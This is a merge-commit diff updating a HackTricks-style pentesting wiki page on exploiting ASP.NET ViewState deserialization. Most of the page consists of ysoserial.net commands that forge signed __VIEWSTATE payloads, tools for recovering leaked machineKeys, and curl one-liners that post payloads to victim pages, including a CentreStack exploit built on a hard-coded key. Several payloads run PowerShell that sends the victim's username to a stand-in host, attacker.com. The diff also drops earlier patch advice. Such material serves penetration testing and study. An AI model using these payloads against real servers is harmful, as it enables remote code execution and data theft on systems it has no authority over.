Merge pull request #2454 from HackTricks-wiki/research_update_src_pentesting-web_deserialization_exploiting-__viewstate-parameter_20260701_220745

Research Update Enhanced src/pentesting-web/deserialization/...

Author: carlospolop

src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md

@@ -42,9 +42,9 @@ You can try to identify if ViewState is MAC protected by capturing a request con
 ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
 ```
 
-### Test case 1.5 – Like Test case 1 but the ViewState cookie isn't sent by the server
+### Test case 1.5 – Like Test case 1 but the ViewState hidden field isn't sent by the server
 
-Developers can **remove ViewState** from becoming part of an HTTP Request (the user won't receive this cookie).\
+Developers can **remove ViewState** from the **server response** (the user won't receive this hidden field).\
 One may assume that if **ViewState** is **not present**, their implementation is **secure** from any potential vulnerabilities arising with ViewState deserialization.\
 However, that is not the case. If we **add ViewState parameter** to the request body and send our serialized payload created using ysoserial, we will still be able to achieve **code execution** as shown in **Case 1**.
 
@@ -77,50 +77,48 @@ You can try to use [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/N
 AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"
 
 --encrypteddata : __VIEWSTATE parameter value of the target application
---modifier : __VIWESTATEGENERATOR parameter value
+--modifier : __VIEWSTATEGENERATOR parameter value
 ```
 
-[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) is another tool which can identify known machineKeys. It is written in Python, so unlike Blacklist3r, there is no Windows dependency. For .NET viewstates, there is a "python blacklist3r" utility, which is the quickest way to use it.
+[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) is another tool which can identify known `machineKey` values. It is written in Python, so unlike Blacklist3r, there is no Windows dependency. The old standalone `blacklist3r.py` helper was removed, so the **current** workflow is to use the main `badsecrets` CLI in URL mode:
 
-It can either be supplied with the viewstate and generator directly:
-
-```
+```bash
 pip install badsecrets
-git clone https://github.com/blacklanternsecurity/badsecrets
-cd badsecrets
-python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE
+badsecrets --url https://target/page.aspx
 ```
 
-![https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png](https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png)
+This mode carves the response for cryptographic artifacts and tests any discovered `__VIEWSTATE` / `__VIEWSTATEGENERATOR` values against the built-in `machineKey` corpus.
 
-Or, it can connect directly to the target URL and try to carve the viewstate out of the HTML:
+If the page uses **split ViewState**, reassemble all parts before manual testing:
 
-```
-pip install badsecrets
-git clone https://github.com/blacklanternsecurity/badsecrets
-cd badsecrets
-python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
+```html
+<input type="hidden" name="__VIEWSTATEFIELDCOUNT" value="3" />
+<input type="hidden" name="__VIEWSTATE" value="<part0>" />
+<input type="hidden" name="__VIEWSTATE1" value="<part1>" />
+<input type="hidden" name="__VIEWSTATE2" value="<part2>" />
 ```
 
-![https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png](https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png)
+Concatenate `__VIEWSTATE`, `__VIEWSTATE1`, `__VIEWSTATE2`, and so on in order. Modern `badsecrets` already handles `__VIEWSTATEFIELDCOUNT` reassembly automatically.
 
-To search for vulnerable viewstates at scale, in conjunction with subdomain enumeration, the `badsecrets` [**BBOT**](exploiting-__viewstate-parameter.md) module can be used:
+If the application **doesn't render `__VIEWSTATE` at all**, don't stop there: modern `badsecrets` can also test `WebResource.axd` and `ScriptResource.axd` tokens (`ASPNET_Resource`) against known `machineKey` values, which is useful when the page only exposes ASP.NET resource URLs.
 
-```
+To search for vulnerable targets at scale, in conjunction with subdomain enumeration, the `badsecrets` [**BBOT**](https://github.com/blacklanternsecurity/bbot) module can be used:
+
+```bash
 bbot -f subdomain-enum -m badsecrets -t evil.corp
 ```
 
 ![https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png](https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png)
 
-If you are lucky and the key is found,you can proceed with the attack using [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:**
+If you are lucky and the key is found, you can proceed with the attack using [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:**
 
-```
+```bash
 ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
 
---generator = {__VIWESTATEGENERATOR parameter value}
+--generator = {__VIEWSTATEGENERATOR parameter value}
 ```
 
-In cases where `_VIEWSTATEGENERATOR` parameter **isn't sent** by the server you **don't** need to **provide** the `--generator` parameter **but these ones**:
+Recent `ysoserial.net` documentation explicitly notes that `--generator` is mainly useful for **.NET <= 4.0** / legacy mode. When `__VIEWSTATEGENERATOR` is **not** exposed, or the target runs **.NET 4.5+**, use the real page and app paths instead:
 
 ```bash
 --apppath="/" --path="/hello.aspx"
@@ -169,13 +167,13 @@ We can force the usage of ASP.NET framework by specifying the below parameter in
 <httpRuntime targetFramework="4.5" />
 ```
 
-Alternatively, this can be done by specifying the below option inside the `machineKey` paramter of web.config file.
+Alternatively, this can be done by specifying the below option inside the `machineKey` parameter of the `web.config` file.
 
 ```bash
 compatibilityMode="Framework45"
 ```
 
-As in the previous the **value is encrypted.** Then, to send a **valid payload the attacker need the key**.
+As in the previous case, the **value is encrypted**. To send a **valid payload**, the attacker **needs the key**.
 
 You can try to use [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper)to find the key being used:
 
@@ -189,11 +187,11 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47Lw
 
 For a more detailed description for IISDirPath and TargetPagePath [refer here](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
 
-Or, with [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) (with a generator value):
+Or, with [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets), let URL mode carve the page and test the captured ViewState / generator automatically:
 
 ```bash
-cd badsecrets
-python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
+pip install badsecrets
+badsecrets --url https://target/content/default.aspx
 ```
 
 ![https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png](https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png)
@@ -221,9 +219,9 @@ You need to use one more parameter in order to create correctly the payload:
 
 ### Result of a Successful Exploitation <a href="#poc" id="poc"></a>
 
-For all the test cases, if the ViewState YSoSerial.Net payload works **successfully** then the server responds with “**500 Internal server error**” having response content “**The state information is invalid for this page and might be corrupted**” and we get the OOB reques.
+For all the test cases, if the ViewState YSoSerial.Net payload works **successfully** then the server often responds with a `500 Internal Server Error` containing text such as `The state information is invalid for this page and might be corrupted`, while the **out-of-band request still fires**.
 
-Check for [further information here](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
+For more background on this behavior, review the [NotSoSecure writeup](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/).
 
 ### Dumping ASP.NET Machine Keys via Reflection (SharPyShell/SharePoint ToolShell)
 
@@ -246,24 +244,26 @@ public void Page_Load(object sender, EventArgs e)
 </script>
 ```
 
-Requesting the page prints the **ValidationKey**, **DecryptionKey**, the encryption algorithm and the ASP.NET compatibility mode. These values can now be fed straight into **ysoserial.net** to create a valid, signed `__VIEWSTATE` gadget:
+Requesting the page prints the **ValidationKey**, **DecryptionKey**, the encryption algorithm and the ASP.NET compatibility mode. These values can now be fed straight into **ysoserial.net** to create a valid, signed `__VIEWSTATE` gadget. For **modern** targets prefer the real path-based derivation:
 
 ```bash
-ysoserial.exe -p ViewState -g TypeConfuseDelegate \
+ysoserial.exe -p ViewState -g TextFormattingRunProperties \
   -c "powershell -nop -c \"whoami\"" \
-  --generator=<VIEWSTATE_GENERATOR> \
+  --path="/_layouts/15/ToolPane.aspx" --apppath="/" \
   --validationkey=<VALIDATION_KEY> --validationalg=<VALIDATION_ALG> \
   --decryptionkey=<DECRYPTION_KEY> --decryptionalg=<DECRYPTION_ALG> \
-  --islegacy --minify
-curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"
+  --minify
+curl -d "__VIEWSTATE=<PAYLOAD>" https://victim/_layouts/15/ToolPane.aspx
 ```
 
-This **key-exfiltration primitive** was mass-exploited against on-prem SharePoint servers in 2025 ("ToolShell" – CVE-2025-53770/53771), but it is applicable to any ASP.NET application where an attacker can run server-side code.
+Use `--generator` and `--islegacy` only when you know the page is using the **legacy** signing logic (**.NET <= 4.0**). If you need the exact flag combinations after obtaining the keys, check the [sister page about exploiting ViewState when the secret is known](exploiting-__viewstate-knowing-the-secret.md).
+
+This **key-exfiltration primitive** was mass-exploited against on-prem SharePoint servers in 2025 ("ToolShell" – CVE-2025-53770/53771); see the related [SharePoint page](../../network-services-pentesting/pentesting-web/microsoft-sharepoint.md). The same technique is applicable to any ASP.NET application where an attacker can run server-side code.
 
 ## 2024-2025 Real-world Exploitation Scenarios and Hard-coded Machine Keys
 
 ### Microsoft “publicly disclosed machine keys” wave (Dec 2024 – Feb 2025)
-Microsoft Threat Intelligence reported mass exploitation of ASP.NET sites where the *machineKey* had previously been leaked on public sources (GitHub gists, blog posts, paste sites). Adversaries enumerated these keys and generated valid `__VIEWSTATE` gadgets with the newer `ysoserial.net` 1.41 `--minify` and `--islegacy` flags to evade WAF length limits:
+Microsoft described mass exploitation of ASP.NET sites where the *machineKey* had previously been leaked on public sources (GitHub gists, blog posts, paste sites). Adversaries enumerated these keys and generated valid `__VIEWSTATE` gadgets with recent `ysoserial.net` options such as `--minify` and `--islegacy`: 
 
 ```bash
 ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
@@ -272,10 +272,10 @@ ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
   --generator=<VIEWSTATEGEN> --minify
 ```
 
-Targets that keep reusing the same static keys across farms stay vulnerable indefinitely; once they migrate to `AutoGenerate` values the spray technique dies, so prioritize legacy deployments that still expose hard-coded material.
+Targets that keep reusing the same static keys across farms stay vulnerable indefinitely, so prioritize legacy deployments that still expose hard-coded material.
 
 ### CVE-2025-30406 – Gladinet CentreStack / Triofox hard-coded keys
-Kudelski Security uncovered that multiple CentreStack / Triofox releases shipped with identical `machineKey` values, enabling unauthenticated remote code execution through ViewState forgery (CVE-2025-30406).
+Kudelski Security and later defenders observed a very practical pattern: products shipping with **static / hard-coded `machineKey` values** turn ViewState deserialization into an **internet-scale** issue. In the CentreStack / Triofox case, unauthenticated attackers could forge `__VIEWSTATE` for the login page because every installation trusted the same keys.
 
 One-liner exploit:
 
@@ -288,24 +288,12 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" \
   | curl -d "__VIEWSTATE=$(cat -)" http://victim/portal/loginpage.aspx
 ```
 
-Fixed in CentreStack 16.4.10315.56368 / Triofox 16.4.10317.56372 – upgrade or replace the keys immediately. 
+This is a good reminder that **recovering one valid key pair is often enough to pivot across every sibling node or customer tenant that reuses it**.
 
 ## References
 
-- [Exploiting ViewState deserialization using Blacklist3r and YSoSerial.NET](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
-- [Deep dive into .NET ViewState deserialization and its exploitation](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
-- [Exploiting deserialisation in ASP.NET via ViewState (Soroush Dalili, 2019)](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
-- [Introducing badsecrets – fast machineKey discovery](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
-- [SharePoint “ToolShell” exploitation chain (Eye Security, 2025)](https://research.eye.security/sharepoint-under-siege/)
 - [Microsoft Security – Code injection attacks abusing publicly disclosed ASP.NET machine keys (Feb 6 2025)](https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/)
 - [Kudelski Security advisory – Gladinet CentreStack / Triofox RCE CVE-2025-30406 (Apr 16 2025)](https://research.kudelskisecurity.com/2025/04/16/gladinet-centrestack-and-gladinet-triofox-critical-rce-cve-2025-30406/)
-- [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
-- [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
-- [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
-- [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
-- [SharePoint “ToolShell” exploitation chain (Eye Security, 2025)](https://research.eye.security/sharepoint-under-siege/)
-- [Check Point Research – Inside Ink Dragon: Revealing the Relay Network and Inner Workings of a Stealthy Offensive Operation](https://research.checkpoint.com/2025/ink-dragons-relay-network-and-offensive-operation/)
-
 
 
 {{#include ../../banners/hacktricks-training.md}}